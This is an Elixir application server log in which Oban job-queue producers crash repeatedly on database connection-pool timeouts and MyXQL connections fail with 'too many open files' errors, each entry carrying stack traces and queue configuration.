[Sat Sep  5 23:02:17.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1058ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:02:05.244626Z], limit: 10, uuid: "a564e54b-e340-46c3-8e95-0cbd6cb0a010", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:05.244636Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.248826>, refresh_timer: #Reference<0.2525715032.1068236804.248754>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:17.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1050ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:02:05.261592Z], limit: 3, uuid: "8f8f438a-6a3e-4488-81cb-9b9de57e6362", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:05.261598Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.248831>, refresh_timer: #Reference<0.2525715032.1068236804.248830>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:17.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:02:05.261904Z], limit: 50, uuid: "abb2ead0-eee9-4e9c-8b0b-e753f41ac31e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:05.261911Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.248871>, refresh_timer: #Reference<0.2525715032.1121189889.103859>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:17.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:02:05.253546Z], limit: 20, uuid: "9cd770fa-fd3b-4be7-bc16-2082f419c67f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:05.253554Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.248825>, refresh_timer: #Reference<0.2525715032.1068236804.248775>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:17.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1043ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:02:05.253766Z], limit: 5, uuid: "a57d5743-50da-4679-9224-46c4f8a4ebd8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:05.253772Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.248827>, refresh_timer: #Reference<0.2525715032.1068236804.248784>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:17.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 854ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:02:05.253958Z], limit: 5, uuid: "07d4dbcf-af41-4e44-8b59-a697ac0dbfb3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:05.253963Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.248828>, refresh_timer: #Reference<0.2525715032.1068236804.248795>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:19.273000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:22.708000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:23.080000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:23.310000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:25.803000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:26.869000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:02:29.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:02:17.240538Z], limit: 50, uuid: "96dd83ba-b667-4b9f-9328-01e4fbc5c348", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:17.240544Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.249160>, refresh_timer: #Reference<0.2525715032.1121189889.103886>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:29.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 878ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:02:17.240932Z], limit: 20, uuid: "2a1190eb-803b-43c7-8487-3ee64747e040", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:02:17.240937Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.249157>, refresh_timer: #Reference<0.2525715032.1121189889.103900>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:02:29.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 868ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
